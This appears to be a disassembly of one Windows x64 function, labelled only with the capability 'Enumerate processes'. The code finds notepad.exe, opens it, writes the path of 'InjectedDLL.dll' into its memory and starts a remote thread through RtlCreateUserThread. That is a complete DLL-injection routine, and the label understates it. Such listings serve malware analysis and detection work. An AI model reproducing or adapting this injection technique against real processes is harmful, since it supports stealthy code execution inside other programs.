Function at 0x140007cf0
Capabilities:
Enumerate processes

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x4e0
mov rax, qword [0x14010a0c0]
xor rax, rsp
mov qword [rsp + 0x4d0], rax
movups xmm0, xmmword [str.InjectedDLL.dll]
xor esi, esi
xor eax, eax
movups xmm1, xmmword [0x1400ea7e8]
lea rdi, [rsp + 0x60]
mov qword [rsp + 0x50], rsi
mov ecx, 0x238
xor edx, edx
rep stosb byte [rdi], al
lea ecx, [rsi + 2]
movups xmmword [rsp + 0x2a0], xmm0
movups xmmword [rsp + 0x2b0], xmm1
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007d62
lea rcx, [0x1400f2628]
call fcn.140050a00
jmp 0x140007d91
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140007dae
lea rcx, str.Process32First
call fcn.140050a00
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x4d0]
xor rcx, rsp
call fcn.1400d3a80
add rsp, 0x4e0
pop rdi
pop rsi
pop rbx
ret
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140007e10
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140007d88
nop dword [rax]
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140007e10
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007de0
jmp 0x140007d88
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x68]
test r8d, r8d
je 0x140007d91
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140007d91
lea rcx, [0x1400ea058]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x140008016
mov qword [rsp + 0x500], rbp
lea rdx, str.RtlNtStatusToDosError
mov rcx, rax
mov qword [rsp + 0x510], r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1400ea020]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbp, rax
test rax, rax
jne 0x140007ea2
lea rcx, str.GetModuleHandle
call fcn.140050a00
jmp 0x140008006
lea rdx, str.RtlCreateUserThread
mov qword [rsp + 0x508], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
je 0x140007ffe
lea rdx, [0x1400ea7c8]
mov qword [rsp + 0x518], r15
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x140007ff6
xor r9d, r9d
lea r8, [rsp + 0x2c0]
mov edx, 0x104
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rax, [rsp + 0x2c0]
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], si
jne 0x140007f17
add rdi, rdi
mov dword [rsp + 0x20], 4
mov r8, rdi
mov r9d, 0x3000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x140007ff6
mov r9, rdi
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x2c0]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140007fe1
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbp
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], rsi
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call r12
test eax, eax
jns 0x140007fc1
test r14, r14
je 0x140007fb4
mov ecx, eax
call r14
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x140007fe1
mov ecx, 0x54f
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x140007fe1
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r15, qword [rsp + 0x518]
mov r12, qword [rsp + 0x508]
mov rbp, qword [rsp + 0x500]
mov r14, qword [rsp + 0x510]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x140007d93